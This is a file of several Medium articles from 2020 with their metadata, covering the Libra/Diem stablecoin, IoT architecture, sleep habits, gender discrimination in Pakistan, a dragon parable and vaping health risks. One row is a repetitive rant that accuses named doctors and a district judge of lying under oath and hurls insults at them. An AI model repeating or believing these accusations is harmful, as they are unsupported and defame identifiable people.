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Libra just will not ‘go away’ as speculation mounts of a launch in January 2021 | Libra just will not ‘go away’ as speculation mounts of a launch in January 2021
Check out our new platform 👉 https://thecapital.io/
2 min video looking at how Libra is evolving
There has been a significant increase in the value of stablecoins in 2020. The total size of the stablecoin market has risen in the last year to now be worth over $26billion, with the largest by far being Tether -USDT- which has grown from $4.29 billion to $19.6 billion. Incredibly, Tether is being investigated by the New York State Attorney since Tether has been unable to clarify whether it is, indeed, backed 100% by US$ — yet it keeps growing….
The top ten biggest stable coins
Facebook’s Libra project was launched in June 2018, and originally in its white paper, it proposed to create a digital currency that would be backed by basket bank deposits and government bonds denominated in US Dollars, Euros, Yen, and British Pounds. Libra has now announced that it is to rename itself, Diem, although it will be keeping the same logo. Although Facebook would still appear to be very much involved, Dahlia Malkhi, the new CTO of Diem, is and has been, Lead Researcher at a subsidiary of Facebook. Novi, which is Facebook’s representation on the Libra, sorry on the Diem governance board. According to a report by the Financial Times, Libra is to launch a US dollar-pegged stablecoin, meaning it will launch a digital currency/coin with each one backed by a US dollar. The project, however, still requires approval from the Swiss Financial Market Supervisory Authority FINMA.
Therefore, a stablecoin with a governance board backed by the likes of Andreessen Horowitz from Silicon Valley, Facebook, TEMASK (Singapore sovereign wealth fund), Shopify (Canadian version of Amazon), Uber, Women in Banking, to name just a few, is sure to prove popular? The reputational damage to the different organisations on the governance board of Libra ought to ensure risks will not be undertaken so that every Libra $ stablecoin will, indeed, be backed by a $ in a bank account somewhere? Consequentially, would Libra not be a safer option than Tether?
The main challenge Facebook’s Libra has been confronted with is a barrage of negativity from different jurisdictions since these countries fear that, with Facebook’s 2.4 billion and WhatsApp 2 billion active monthly users, it means Libra could become very popular, very quickly. If Libra were to become the payment mechanism of choice, it is feared it may undermine various governments’ control over their supply money, and potentially their economies. How justified these fears are is questionable. Libra, if backed 100% by assets such as cash or government bonds, would not be able to create unsecured coins. Ergo, Libra’s ability to influence monetary policy through artificially expanding or contracting its supply would not be possible — a course of action that many of the governments expressing concerns over Libra regularly do with their own currencies.
Different governments express concerns over Libra
One of the criticisms of digital currencies relying on Blockchain technology is that they are unable to handle large volumes of transactions. However, Libra, instead of relying on a decentralised peer-to-peer network, will rely initially on the Libra Association and those with permission to modify its Blockchain. Nonetheless, a concern is — will this more centralised structure make Libra more vulnerable to cyber-attacks? It is understood that Libra is therefore looking to transition to a more decentralised style of Blockchain so as to minimise the dependency on the Libra Association. Thus far, there are no further details as to when or how this change will be implemented.
Meanwhile, Goldman Sachs is predicting that the digital currency already launched by the Chinese will attract over 1 billion users within 10 years. The Chinese government hopes its new digital currency will help the nation’s traditional banks (which have been facing stiff competition from FinTech rivals) potentially increase their market again in the long-term. The Chinese government is clearly generating a tightening of restrictions on the FinTech sector, as can be seen by the suspension of Ant Group’s (Ant) IPO. Ant, with its one billion users, runs Alipay (one of the most popular payment systems in China) and is now facing a monopolies investigation by the Chinese government along with WeChatPay, which is owned by Tencent. Reuters reported these two payment platforms were responsible for over 90% of mobile banking transactions in the third quarter of 2019. Therefore, it would seem that if the Chinese digital currency is to be a success, Alipay and WeChatPay are potentially more of a threat to its adoption than cash!
It is almost certain that we will see other jurisdictions creating their own digital currencies. Indeed, the CEO of PayPal claims that the “use of digital currencies is set to go mainstream as more merchants take a ‘digital first’ approach to payments.” However, despite the success of stablecoins to date, governments are likely to start imposing more restrictions on new digital currencies (e.g Libra) as they fear their popularity could be so great as to make it difficult for the institutions to have a successful digital currency themselves. Notably, some jurisdictions, such as the US, are claiming that digital currency could increase ‘shadow’ banking risks and are therefore looking to introduce legislation that would potentially make running the software of stablecoins illegal. Whilst Libra is rumoured to be positioning to issue a digital currency in January 2021, we will have to wait to see if it will be given the go-ahead! David Marcus and Mark Zuckerberg have, in the past, said: “Libra wouldn’t launch anywhere in the world without US and EU approval.” Nevertheless, will they unreservedly proceed if they get approval to do so from the Swiss regulators? | https://medium.com/the-capital/libra-just-will-not-go-away-as-speculation-mounts-of-a-launch-in-january-2021-af02ddd9822 | ['Jonny Fry'] | 2020-12-10 23:58:47.129000+00:00 | ['Blockchain', 'Cryptocurrency', 'Regulation', 'Stable Coin', 'Facebook'] |
Freemason, Dr Richard Hill fabricated reports. “The best opportunity of developing academically and emotional.” DISTRICT JUDGE BEDFORD. A RACIST DUNCE. Had his dad and mum cared, he’d not have settled | Freemason, Dr Richard Hill fabricated reports. “The best opportunity of developing academically and emotional.” DISTRICT JUDGE BEDFORD. A RACIST DUNCE. Had his dad and mum cared, he’d not have settled for daily dialogues with dipsticks in BEDFORD Olu Bamgbelu Dec 23, 2020·6 min read
https://www.facebook.com/rotimi.osunsan/videos/3088536551193798/
Freemason, Dr Richard Hill lied under oath
“The best opportunity of developing academically and emotional.”DISTRICT JUDGE BEDFORD
A RACIST DUNCE
Had his dad and mum cared, he’d not have settled for daily dialogues with dipsticks in BEDFORD
https://www.facebook.com/rotimi.osunsan/videos/3088536551193798/
BEDFORD: Dr Sue Gregory (OBE) lied on record
“The best opportunity of developing academically and emotional.”DISTRICT JUDGE BEDFORD
A RACIST DUNCE
Had his dad and mum cared, he’d not have settled for daily dialogues with dipsticks in BEDFORD
https://www.youtube.com/watch?v=BlpH4hG7m1A
OXFORD: Dr Stephanie Twidale lied under oath
“The best opportunity of developing academically and emotional.”DISTRICT JUDGE BEDFORD
A RACIST DUNCE
Had his dad and mum cared, he’d not have settled for daily dialogues with dipsticks in BEDFORD
https://www.youtube.com/watch?v=BlpH4hG7m1A
CORBY: Dr George Rothnie (NHS) lied on record
“The best opportunity of developing academically and emotional.”DISTRICT JUDGE BEDFORD
A RACIST DUNCE
Had his dad and mum cared, he’d not have settled for daily dialogues with dipsticks in BEDFORD
https://www.youtube.com/watch?v=BlpH4hG7m1A
CORBY: Dr Kevin Atkinson (NHS) lied under oath
“The best opportunity of developing academically and emotional.”DISTRICT JUDGE BEDFORD
A RACIST DUNCE
Had his dad and mum cared, he’d not have settled for daily dialogues with dipsticks in BEDFORD
https://www.youtube.com/watch?v=BlpH4hG7m1A
NORTHAMPTON: Dr Gerait Evans lied on record
“The best opportunity of developing academically and emotional.”DISTRICT JUDGE BEDFORD
A RACIST DUNCE
Had his dad and mum cared, he’d not have settled for daily dialogues with dipsticks in BEDFORD
https://www.youtube.com/watch?v=BlpH4hG7m1A
WOLLASTON: Ms Rachael Bishop lied under oath
“The best opportunity of developing academically and emotional.”DISTRICT JUDGE BEDFORD
A RACIST DUNCE
Had his dad and mum cared, he’d not have settled for daily dialogues with dipsticks in BEDFORD
https://www.youtube.com/watch?v=BlpH4hG7m1A
Freemason, Dr Richard Hill lied under oath
BEDFORD,ENGLAND:Then, all the people, including Judges, Racist Freemasons, and John Bunyan (1628–1688) were fed like battery hens with the yields of the barbarously racist traffic in stolen children
https://www.facebook.com/rotimi.osunsan/videos/3088536551193798/
Freemason, Dr Richard Hill fabricated reports
BEDFORD,ENGLAND:Then, all the people, including Judges, Racist Freemasons, and John Bunyan (1628–1688) were fed like battery hens with the yields of the barbarously racist traffic in stolen children
https://www.facebook.com/rotimi.osunsan/videos/3088536551193798/
BEDFORD: Dr Sue Gregory (OBE) lied on record
BEDFORD,ENGLAND:Then, all the people, including Judges, Racist Freemasons, and John Bunyan (1628–1688) were fed like battery hens with the yields of the barbarously racist traffic in stolen children
https://www.youtube.com/watch?v=BlpH4hG7m1A
OXFORD: Dr Stephanie Twidale lied under oath
BEDFORD,ENGLAND:Then, all the people, including Judges, Racist Freemasons, and John Bunyan (1628–1688) were fed like battery hens with the yields of the barbarously racist traffic in stolen children
https://www.youtube.com/watch?v=BlpH4hG7m1A
CORBY: Dr George Rothnie (NHS) lied on record
BEDFORD,ENGLAND:Then, all the people, including Judges, Racist Freemasons, and John Bunyan (1628–1688) were fed like battery hens with the yields of the barbarously racist traffic in stolen children
https://www.youtube.com/watch?v=BlpH4hG7m1A
CORBY: Dr Kevin Atkinson (NHS) lied under oath
BEDFORD,ENGLAND:Then, all the people, including Judges, Racist Freemasons, and John Bunyan (1628–1688) were fed like battery hens with the yields of the barbarously racist traffic in stolen children
https://www.youtube.com/watch?v=BlpH4hG7m1A
NORTHAMPTON: Dr Gerait Evans lied on record
BEDFORD,ENGLAND:Then, all the people, including Judges, Racist Freemasons, and John Bunyan (1628–1688) were fed like battery hens with the yields of the barbarously racist traffic in stolen children
https://www.youtube.com/watch?v=BlpH4hG7m1A
WOLLASTON: Ms Rachael Bishop lied under oath
BEDFORD,ENGLAND:Then, all the people, including Judges, Racist Freemasons, and John Bunyan (1628–1688) were fed like battery hens with the yields of the barbarously racist traffic in stolen children
https://www.youtube.com/watch?v=BlpH4hG7m1A
Freemason, Dr Richard Hill lied under oath
“The best opportunity of developing academically and emotional.”DISTRICT JUDGE BEDFORD
A RACIST DUNCE
Kempston yields only food
NIGERIA: SHELL’S DOCILE CASH COW
An imbecile is our District Judge
https://www.facebook.com/rotimi.osunsan/videos/3088536551193798/
BEDFORD: Dr Sue Gregory (OBE) lied on record
“The best opportunity of developing academically and emotional.”DISTRICT JUDGE BEDFORD
A RACIST DUNCE
Kempston yields only food
NIGERIA: SHELL’S DOCILE CASH COW
An imbecile is our District Judge
https://www.youtube.com/watch?v=BlpH4hG7m1A
OXFORD: Dr Stephanie Twidale lied under oath
“The best opportunity of developing academically and emotional.”DISTRICT JUDGE BEDFORD
A RACIST DUNCE
Kempston yields only food
NIGERIA: SHELL’S DOCILE CASH COW
An imbecile is our District Judge
https://www.youtube.com/watch?v=BlpH4hG7m1A
CORBY: Dr George Rothnie (NHS) lied on record
“The best opportunity of developing academically and emotional.”DISTRICT JUDGE BEDFORD
A RACIST DUNCE
Kempston yields only food
NIGERIA: SHELL’S DOCILE CASH COW
An imbecile is our District Judge
https://www.youtube.com/watch?v=BlpH4hG7m1A
CORBY: Dr Kevin Atkinson (NHS) lied under oath
“The best opportunity of developing academically and emotional.”DISTRICT JUDGE BEDFORD
A RACIST DUNCE
Kempston yields only food
NIGERIA: SHELL’S DOCILE CASH COW
An imbecile is our District Judge
https://www.youtube.com/watch?v=BlpH4hG7m1A
NORTHAMPTON: Dr Gerait Evans lied on record
“The best opportunity of developing academically and emotional.”DISTRICT JUDGE BEDFORD
A RACIST DUNCE
Kempston yields only food
NIGERIA: SHELL’S DOCILE CASH COW
An imbecile is our District Judge
https://www.youtube.com/watch?v=BlpH4hG7m1A
WOLLASTON: Ms Rachael Bishop lied under oath
“The best opportunity of developing academically and emotional.”DISTRICT JUDGE BEDFORD
A RACIST DUNCE
Kempston yields only food
NIGERIA: SHELL’S DOCILE CASH COW
An imbecile is our District Judge
https://www.youtube.com/watch?v=BlpH4hG7m1A
Freemason, Dr Richard Hill fabricated reports
“The best opportunity of developing academically and emotional.”DISTRICT JUDGE BEDFORD
A RACIST DUNCE
Kempston yields only food
NIGERIA: SHELL’S DOCILE CASH COW
An imbecile is our District Judge
https://www.facebook.com/rotimi.osunsan/videos/3088536551193798/
Freemason, Dr Richard Hill lied under oath
“The best opportunity of developing academically and emotional.”DISTRICT JUDGE BEDFORD
Had his father cared,he’d not have approved that at 16,and he’d be a properly educated lawyer, Privately Educated Rabinder Singh’s Class
Freemason, Dr Richard Hill fabricated reports
“The best opportunity of developing academically and emotional.”DISTRICT JUDGE BEDFORD
Had his mum cared,he’d not have approved that at 16,and he’d be a properly educated lawyer, Privately Educated Rabinder Singh’s Class
BEDFORD: Dr Sue Gregory (OBE) lied on record
OXFORD: Dr Stephanie Twidale lied under oath
CORBY: Dr George Rothnie (NHS) lied on record
CORBY: Dr Kevin Atkinson (NHS) lied under oath
NORTHAMPTON: Dr Gerait Evans lied on record
WOLLASTON: Ms Rachael Bishop lied under oath
Freemason,Dr Richard Hill fabricated reports
“The best opportunity of developing academically and emotional.”DISTRICT JUDGE BEDFORD
A RACIST DUNCE
If the land yields only food and our Judge is a semi-illiterate,it’s plainly deductible that his ancestors were THIEVES
“The best opportunity of developing academically and emotional.”DISTRICT JUDGE BEDFORD
A RACIST DUNCE
Kempston yields only food
NIGERIA: SHELL’S DOCILE CASH COW
An imbecile is our District Judge
https://www.youtube.com/watch?v=BlpH4hG7m1A
A brainless racist District Judge wants superiority;he can have it but only on merit,what is wrong with that?
NO BRAIN
NATURAL RESOURCES POOR
STEALING/SLAVERY PRECEDED THE TRUST FUND
NIGERIA:SHELL’S CASH COW
https://www.facebook.com/rotimi.osunsan/videos/3088536551193798/ | https://medium.com/@olubamgbelu21/freemason-dr-richard-hill-fabricated-reports-40fa31591ab4 | ['Olu Bamgbelu'] | 2020-12-23 12:58:48.688000+00:00 | ['Law', 'America', 'Africa', 'Racism', 'Politics'] |
How to Architect IOT Based Applications | Architecting a product for the Internet of Things (IoT) is fundamentally different from architecting for web or mobile.
At Tempest House, we’ve built dozens of high-quality, scalable apps, both IoT and otherwise. From this vast experience, we’ve distilled 7 tips for architecting an IoT product (and an example architecture at the end):
1. Expect large amounts of data
IoT products create a huge amount of data. There are many ways to structure your data, and the best design will necessarily vary on a case-by-case basis. Our process for choosing a design, however, is relatively consistent:
First, we ask:
What is required of the data?
What needs to be passed to the server?
Then, we work closely with the firmware architect, asking questions like:
How should they structure their data?
How much speed do we need? (If the ideal format is too large for the pipe, for instance, we’ll need an abbreviated way to pass that data.)
Finally, we write transformers that turn the data into what we need to pass to the server.
Once someone understands their needs, they can design a structure that will withstand even the needs of large quantities of data. In designing this structure, the most important part is having clear communication between the data transit architect, web architect, and a competent firmware team.
2. High-quality firmware is worth every penny
While high-quality firmware will dramatically increase a device’s functionality and reliability, low-quality firmware prompts all sorts of headaches.
What does high-quality firmware look like?
Everything is read/write capable.
Notifications are written clearly, effectively, and efficiently.
All security verifications are handled appropriately by both the mobile application and the device.
Applications have full insight into the device (which can be especially important for resolving issues and errors).
How can you recognize low-quality firmware?
The structure is disorganized (typically due to poor planning).
3. Communication is key
Since connectivity is fundamental to an IoT product, communication from IoT devices is of the utmost importance. For that reason, we built a messaging queue into our standard toolkit that keeps sending messages until the message is received. This queue, built using Redux, also allows us to flag priorities to dynamically reorder the queue on demand and set contingencies for failed requests. Since communication is so important, it’s key to ensure each message arrives at its desired destination.
4. Recognize IoT’s unique security threats
Due to their increased connectivity and increased points of vulnerability, IoT devices have unique, heightened dangers. To combat these vulnerabilities, adhering to industry-standard security practices will take you far. These three practices are especially important:
1. Encrypt your data, both in the back-end and when passing it.
There are best practices for data encryption …but most people don’t use them. When used properly, however, it’s nearly impossible for a hacker to decrypt your data without full access to your systems.
2. Use tokens for authentication.
At Tempest House, we store encrypted tokens that ensure our front-end is properly authenticated with our back-end. Personally, I like the Ionic Identity Vault because it prevents hackers from retrieving tokens from our mobile devices. While this sort of security measure costs a little extra, it can be invaluable in avoiding breaches.
3. Partner with a company to test your security.
At the end of the day, our security experts can’t offer every service that we recommend to our clients on their own. We build secure software for our clients, but we also recommend that one of our partner companies, EdgeScan, provide manual and automated penetration testing. They check all of our endpoints and probe further when they find problems. As an added benefit, they offer a security certification when a device/service passes their tests.
5. Consider compliance… or expect costly consequences.
While compliance is not exclusively an IoT-related topic, the added communication between devices does make it more complicated.
GDPR is currently the most-complicated compliance issue. Anytime we architect something, we walk through a personal checklist of GDPR requirements. It’s a long, multi-page document, but undoubtedly worth the time. If anyone from the European Union uses your application and you’re not following GDPR, you can be liable for up to 4% of your company’s global revenue.
6. Build for scalability.
A scalable product is key to a company’s success. This is even more important for IoT devices, as much of their value comes from being networked.
For a scalable back end, we use often Tempest Tools, which we developed in-house. It has lots of built-in features and can build back-ends quickly.
For some high-load projects, we like to combine Tempest Tools with already-scaled back-ends like Express or Lumen. We determine which requests provide large amounts of load and use a microservice architecture with thin endpoints to balance the load.
Beyond the above options, we also have developers that can create backends in all the popular coding languages and frameworks. We are well-aware of the pros and cons of using each one, so we will always recommend the best toolset for the job.
7. Consider a hybrid approach for apps
When building apps, we prefer a hybrid approach (i.e. a virtual browser that runs JavaScript inside an app). This approach allows for easy and inexpensive development, as JavaScript developers are plentiful. It also makes each developer’s work portable, as the same code can work on Android, iOS, and web, with very few changes.
This hybrid approach does have its downsides. Some activities-especially processor-intensive ones-run too slowly inside a virtual browser. For these processor-intensive cases, we employ plug-in architects to write native code. It’s a trick that most companies aren’t familiar with, but which allows us to optimize battery and CPU usage.
An example architecture
Here’s how Tempest House typically architects an IoT product using a hybrid application:
A.) We run a virtual browser inside a mobile application that uses Bluetooth Low Energy to connect back and forth with the IoT device, using a plugin that runs natively on the mobile device.
B.) After the device communicates with our server, our load balancer finds the proper node to process it.
C.) The node communicates a response through HTTP or real-time messaging. (We like to use Pubnub because it’s easy to set up, saves time, and works reliably with a low development cost).
D.) That back-end node also communicates with the cache and database (either SQL or NoSQL).
E.) Additionally, if we need to send push notifications to a mobile device, we send those through an Apple/Android messaging service.
Going forward
While these tips and example are what we could easily share here, it’s far from everything we know. Building an IoT product is a complicated endeavour.
Get in touch with the experts at Tempest House if IOT is your thing!
| https://medium.com/dev-genius/how-to-architect-iot-based-applications-e5b94ac5d1f | ['Tempest House'] | 2020-09-10 10:05:11.984000+00:00 | ['Software Development', 'Iot Platform', 'Internet of Things', 'Software Architecture', 'IoT'] |
Hey, You: Get Some Sleep | A Letter to Myself — Hey, You: Get Some Sleep
Hey, you. Yea, you. I’m talking to the guy who’s sleeping till 12:00 pm every day. Cut it out.
I get it; I get it. You like coffee, but don’t go blaming the caffeine for your insomnia. It’s simple — put down the hot jo after 2:00 pm. Presto, you feel better.
And exercise? Why don’t you exercise? You know for a fact that running, lifting, jumping up and down all release those essential feel-good chemicals that regulate your daily routine and make you properly tired by the time 11:00 pm rolls around. So why don’t you structure in a thirty-minute slot religiously to get those legs moving?
I know you’ve been making all kinds of excuses, too, and your diet certainly doesn’t help. But let’s get to the true root of the problem: you love television. And you need to stop watching it in your room, with the lights off, till 1:00 am. No one, no one at all is going to be able to fall asleep with that kind of habit. So, instead of Netflix, Amazon, Hulu, Youtube, why not try reading a book for twenty minutes? And no, I’m not talking about a work of complicated literature with challenging stylistic choices and esotericism. I’m talking about a solid self-help title, easy-to-read autobiography, or relaxing fictional story. Nothing crazy. Please don’t try reading Ulysses at 11:00 pm.
Regardless, I want to help you out, friend. I want to fix this perpetually latent lifestyle you lead because you always wake up late. And I know that now, more than before, it’s difficult to find opportunities to expel energy and structure your time. But here are a few more tips.
1. Melatonin. Give it a shot. But don’t use it all the time. It’s good for regulating the circadian rhythm back to “normal” parameters. The more you use it, as far as I understand and I’m no scientist and I could be wrong, the less effective it is. I mean, after all, melatonin naturally occurs in your body.
2. Try a podcast or two. One of those put-you-to-sleep ones with slow and melodic narration and subtle, classical soundtracks. That’ll knock you right out.
3. Make your bed in the morning.
4. Stop doing work in your bedroom after 6:00 pm, if possible.
5. Do something with family or close friends in the evening, though understandably this is not always possible.
6. Tea — good ole herbal teas. Ginger or peppermint or one made for that thirty-minute period right before bed.
So, there you have it. Listen, we know the problem and it’s not so difficult to find the reasons for it. Give it a try with these solutions and keep your ears open to new ones. Above all else, get some sleep. | https://medium.com/@tcocco/hey-you-get-some-sleep-70b6edb31aba | ['Tom Cocco'] | 2020-12-12 18:02:43.325000+00:00 | ['Sleep', 'Self Improvement', 'Life Hacking', 'Letter To Myself', 'Routine'] |
GENDER DISCRIMINATION | GENDER DISCRIMINATION
The prejudicial system of inequality rose from about 800 years ago. The cultural practice of valuing men over women was entrenched in middle eastern societies in pre historic times, even before the written records emerged. Men of the society were over represented, had power and dominated women and were habituated to violence. The drastic situations women have to go through their everyday life in every field due to cultural and religious norms. Pakistan is a developing country confronting almost every problem, related to illiteracy, poverty, joblessness etc. Women in our country is consigned to secondary role, with being comprise of half of the population in Pakistan but still they suffer maltreatment in the hands of the men of this society. Nearly 70–90% of women endure domestic violence. They are not acknowledged for their hardships and contribution in the production. Their lives are neglected and ignored by society’s attitudes and treated as trash. Women are denied to their own identity, they are not allowed to make their independent decisions. Pakistani women are submissive to men and viewed as a property. They are considered as a commodity possessed by their father or their husbands. Women are manipulated that the work they do at their homes is a duty and not worthy of any reward. Whereas the work done by men is considered valuable with social and economic value. In Pakistan domestic violence is a private matter which is not any concern of courts, with no intervention of family and friends. Women are ignorant that violence is a crime. The spousal mistreatment includes mental, sexual, physical, psychological and emotional abuse. This manhandling is not considered a sin unless it’s a severe type of murder, either driving a woman to the point of suicide or severe injuries are endured (burning women in many cases). No one assess this or raise voice over this rough treatment. Women are threatened to be silent. Due to this social taboo and lack of family support for shelter women keep their mouths close and bide with this throughout their life. Only a few women come forward to report it to higher authorities. The status of women in Pakistan is better in urban areas as compared to the rural areas.
We need gender balance in our country to reduce gender discrimination against the females of our society and give them equal chances in every field and in this society. The government of Pakistan needs to work up on their laws constituted of ensuring equal rights of citizens and equal chances of employment of both sexes. Women should be informed and educated about their rights and privileges. Mass awareness campaign on gender discrimination should be created. NGOs should come forward and shed some light upon the cases of gender discrimination and support victimized women to get justice. Jurisdiction should inspect and investigate gender discrimination in workforce. Proper laws should be made and strict actions should be taken against the exploiters of women rights. Together all the forces in power, of our country should come forward and remove women from their downgrading status and uplift them in our society. | https://medium.com/@fartashiasheikh07/gender-discrimination-8f0487dc0f66 | ['Fartashia Sheikh'] | 2020-12-23 17:17:52.918000+00:00 | ['Domestic Violence', 'Gender Inequality', 'Womens Rights', 'Gender Discrimination', 'Social Issues'] |
How to Kill a Dragon | Photo by Massimo Negrello on Unsplash
My friend Derek has a six year old grandson who came for a visit. They were exploring the basement together when the boy pointed to the door on the left and asked, “What’s in there grandpa?”
“Canned foods and supplies for the kitchen,” said Derek.
His grandson pointed to the door ahead of them, “What’s in there grandpa?”
“Your grandmother’s files,” said Derek. “Nothing too exciting.”
He pointed to the door on the right, “What’s in there grandpa?”
“I don’t know,” responded Derek, entirely truthfully. “I have no idea. Maybe dragons?”
“Dragons!” he said, eyes lighting up. “Get me a broomstick!”
“What?”
“A broomstick!”
After a quick search, Derek returned with a broomstick and handed it to his grandson.
“What are you going to do?” asked Derek.
“You’re going to open the door,” said his grandson. “And then I’ll run in there and see what happens. Okay, go!”
Derek complied and his grandson rushed headlong into the dark room, smashing everything right and left. After a few seconds of commotion, grandpa hit the light switch, hoping that nothing too valuable or dangerous had been shattered. The light revealed his grandson stomping his foot onto the floor with great enthusiasm.
“What are you doing?” asked Derek.
“I’m killing the dragon, grandpa!” he said.
“But I don’t see it,” said Derek.
“You’re silly, grandpa,” he said. “Don’t you know how to kill dragons? If you run away they get bigger and bigger and you’ll never escape. But if you charge forward and face them down they get smaller and smaller until they disappear. I just squished it.” | https://eliotpeper.medium.com/how-to-kill-a-dragon-cccbbd705922 | ['Eliot Peper'] | 2020-12-18 19:53:24.855000+00:00 | ['Leadership', 'Philosophy', 'Self', 'Psychology', 'Creativity'] |
Why e-cigarette should not be treated as a replacement for smoking: Vaping a public health concern | Photo by Gabriel Ramos on Unsplash
Having a medical background, I often end up looking at health-related news online. If you also follow the same, you must have come across news about people getting hospitalised due to vaping related illness in the USA.
One day, while browsing through the news, Indian Government’s recent announcement to ban e-cigarettes caught my eye. Since then, I have heard, read and seen people arguing for and against the e-smoking ban.
Out of curiosity, I started researching about vaping and its effects on health. My approach of secondary research gradually shifted from reading the generic articles to the more research-based published articles along the way. This blog is my take on e-smoking and its health effects.
Before reading further, pardon me if the reading becomes little jargony from time to time. I have tried to keep it simple without medical terminology, as much as I can. Read along!
What is vaping and how it works?
Before digging deep into the harmful effects of vaping, let’s first understand how these Electronic Nicotine Delivery devices (ENDS), scientific name of e-cigarettes, work and what we inhale through them.
An electronic cigarette or ENDS is a battery-operated device used by people to inhale aerosols.
A typical e-cigarette consists of a cartridge filled with e-juice or e-liquid (which comes in various flavours), a heating element, a power source which is battery operated, and a mouthpiece to inhale the aerosol. The puffing activates the heating of the liquid, turning it into an aerosol. The aerosol is then inhaled and exhaled by the person, much like the process of smoking.
The aerosol typically contains a mixture of nicotine (not always), propylene glycol with or without glycerol, flavouring agents, and other chemicals.
E-cigarettes are available in the market in different sizes and shapes. Some look like a traditional cigarette, while others resemble a pen or a USB memory stick.
When and how did vaping begin
E-cigarettes were launched in 2007 in the USA, as a tool to help middle-aged smokers, quit smoking. At the time, it was publicized as a revolutionary product capable of controlling tobacco smoking and related diseases.
The popular belief of e-smoking being safe lead to increased popularity e-cigarettes among teenagers and youngsters in the last few years. According to the surgeon general report, e-cigarette use among middle and high school students increased by 900% from 2011 to 2015 in the USA.
Top reasons for the increased use of e smoking are,
Overall enjoyable experience of e-smoking with no unpleasant aftertaste and throat irritation (usually found in regular smoking). Availability in multiple flavours like bubblegum, fruit punch etc. The popular belief that e-cigarette help quit smoking and is safe to health.
“The report suggests 4.9 million teens were using e-cigarettes in 2018 — an increase of 1.5 million from the year before.”
What caused the concern: Recent mysterious lung illness among vapers in the USA
Impact of vaping on human health was merely a topic of academic research until recently. With a recent report of about 805* lung injuries in ten states of the United States of America, the harmful effect of vaping suddenly became mainstream. Sadly, It took us a decade to realise the harmful effects.
So, where did the health regulatory bodies go wrong? Did the government fail to identify the problems early on, or did they release an unfinished product in a hurry to the market?
I am sure the health professionals and regulatory bodies must be pondering over these questions. The aspects of medical regulations are out of the scope of my current blog, and hence I won’t be commenting on those for now.
As for the health effects of e-smoking, academic researchers were always concerned but there were no reported real-cases on e-smoking illness.
So the next logical question to ask was, were the concerns of academic researchers pointless or the health system was missing something. Then I got to know that the clinicians were missing to ask about the e-smoking habit during their preliminary examination.
Let me explain, Clinicians usually take the case history of the patient, as a part of medical examination (before diagnosis and treatment plan). During this, they ask questions related to patient’s health habits, past medical history, etc.
The connection between lung diseases and vaping established only when the clinicians started asking incoming patients with lung illness about their e-smoking habits. According to the CDC, all patients with mysterious lung disease had a history of using an e-cigarette.
Symptoms reported by the patients
The symptoms in lung injury cases due to vaping ranges from respiratory (breathing related, 98% cases) to gastrointestinal (related to stomach and intestine, 81% cases). The most commonly reported respiratory symptoms were, shortness of breath, cough and chest pain. The most common gut-related symptoms were nausea, vomiting, diarrhoea and abdominal pain.
Most of these cases also reported additional symptoms like fever with increased heart rate (heart rate 55 to 146 beats per minute) and respiratory rate (respiratory rate range, 15 to 48 breaths per minute). At least 15 of such cases also reported symptoms of ARDS (Acute Respiratory Distress Syndrome), a condition in which fluid gets accumulated in the air sacs of the lungs making breathing difficult.
The most alarming concern was the low median age of patients. The average patient’s age was 19 years (as per CDC data) with no previous significant medical history.
Analysing the health effects of vaping
Under this blog, I am going to cover two main aspects of e-cigarettes,
Health risk of e-cigarettes to users and non-users;
Efficacy of ENDS in helping smokers quit smoking and nicotine dependence;
1. Health risk of e-cigarettes to users and non-users
We have already discussed the symptoms of recent lung illness caused by e-smoking in my previous section. Under this heading, I am going to talk about the health effects of two main ingredients: nicotine and formaldehyde-containing hemicital.
Do note that nicotine is not always present in e-liquid but there are e-liquids containing nicotine available in the market. Due to its highly addictive properties and harmful effect of nicotine, I am including it in this section. Apart from this the fuming process also produces harmful chemicals. One such chemical produced in the process is formaldehyde-containing hemiacetal.
It is important to note that the amount and absorption of these toxic chemicals vary depending on, the voltage used for heating and individual’s puffing behaviour. Puffing at a higher temperature is found to be more dangerous.
“ Battery voltage & unit circuitry differences can result in considerable variability in the products’ ability to heat the solution to an aerosol and, consequently, may affect the delivery of nicotine and other constituents, and may contribute to the formation of toxicants in the emissions.” ( Electronic Nicotine Delivery System, WHO report, 2014)
1. a) Harmful effects of nicotine (in nicotine-containing e-cigarettes)
Not all e-cigarettes have nicotine and hence this section only applies to e-cigarettes with nicotine.
Nicotine exposure has long-term harmful effects on brain development both in the fetal and adolescent group. It is usually advised to not use nicotine products in children, adolescents and pregnant women. Moreover, many studies suggest that nicotine is highly addictive, and even though it is not carcinogenic, it may function as a tumour promoter.
1. b) Health effects of formaldehyde-containing hemiacetal (a degradation product of propylene glycol )
Research published in “The New England Journal of Medicine” explains the production of formaldehyde-containing hemiacetals when e-smoking.
During vaping, propylene glycol (one of the ingredients used in e-cigarettes) breaks down to produce formaldehyde. At high voltage, the formaldehyde further reacts with already present e-liquid chemicals, propylene glycol and glycerol to produce hemiacetals.
It is still unknown how this formaldehyde-containing hemicitals affect the respiratory tract, but it is marked as group 1 carcinogen by the International Agency for Research on Cancer.
The New England Journal of Medicine (Jensen RP et al. N Engl J Med 2015;372:392–394)
E-smoking became highly popular among the young population because of its marketing as a smoke cessation tool with no health hazards. The next section of my blog will highlight more on the effectiveness of ENDS product as a tool to help in quitting smoking.
2. Is vaping efficient in reducing traditional smoking?
When first launched, e-cigarettes was marketed as a tool to help smokers quit tobacco smoking. But does it help smokers in quitting smoking?
There are small scale studies suggesting e-cigarette as an effective tool to quit smoking. One such study was conducted among 886 participants, who were given a choice to use e-cigarettes or nicotine patch to help them quit smoking. The objective was to find which one is better smoking cessation tool: nicotine patch or e-cigarette.
The research revealed that the rate of quitting was 8% more in e-cigarettes users as compared to the nicotine patch users. Even though the rate of quitting traditional smoking is more in case of e-cigarette users, the rate of complete cessation was not.
The same study also that 80% of e-smokers started using e-cigarettes regularly, after quitting smoking as compared to only 9% of nicotine patch users. It concludes that e-cigarette is more addictive as compared to the nicotine patch.
The use of ENDS might help some smokers to quit, but studies suggest that for a sizeable number of smokers, ENDS use will only reduce the cigarette frequency rather than complete quitting. The users trying to quit smoking with the help of e-smoking usually end up using both e-smoking and regular cigarettes.
As for health benefits, the number of years spent on tobacco smoking is more harmful than the intensity of smoking, the dual-use of both traditional and e-cigarette smoking have much smaller beneficial effects on the overall health.
Due to the above reasons, e-cigarette is not recommended by health agencies (including FDA and WHO) as a quit-smoking tool.
My personal views on e-smoking (conclusion):
Due to lack of sufficient scientific research, recent entry of ENDS in the market, and relatively long lag time for disease onset conclusive evidence on the harmful effects of chronic e-smoking will take time and might not be available for years.
